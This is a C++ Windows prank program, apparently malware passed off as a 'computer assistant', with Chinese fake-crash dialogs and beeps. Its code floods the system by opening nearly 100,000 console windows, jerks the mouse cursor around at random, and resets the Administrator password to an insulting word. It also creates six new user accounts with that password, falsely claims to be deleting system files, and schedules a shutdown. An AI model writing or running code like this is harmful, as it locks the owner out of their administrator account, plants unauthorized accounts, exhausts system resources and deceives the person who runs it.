#include
#include
#include
#include
#include
#include
#define a 415
#define b 466
#define c 554
#define d 622
#define e 740
#define f 831
#define g 932
using namespace std;
int main ()
{
MessageBox(NULL,TEXT("程序已崩溃"),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(g,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
MessageBox(NULL,TEXT("系统受损严重,正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(f,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(g,34);
Beep(e,354);
Beep(a,245);
Beep(d,324);
Beep(a,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(d,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
srand(time(0));
srand(time(0));
for(int i=1;i<=100;i++)
{
for(int j=1;j<=348;j++)
{
int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CYSCREEN);
SetCursorPos(rand()%x1,rand()%y1);
}
for(int i=1;i<=999;i++)
{
system("start");
}
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
}
system("net user Administrator sb");//自动把密码改成sb
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(e,354);
system("net user 1 sb /add");//创建用户
system("net user 2 sb /add");//创建用户
system("net user 3 sb /add");//创建用户
system("net user 4 sb /add");//创建用
system("net user 5 sb /add");//创建用户
system("net user 6 sb /add");//创建用户
cout<<"正在删除系统文件中...";
Sleep(1000);
system("tree c:\\windows");
system("cls");
Beep(a,245);
Beep(d,324);
Beep(f,34);
Beep(e,354);
MessageBox(NULL,TEXT("删除完成114514"),TEXT("电脑助手"),MB_OK);
Sleep(1000);
system("shutdown -s -t 30");
}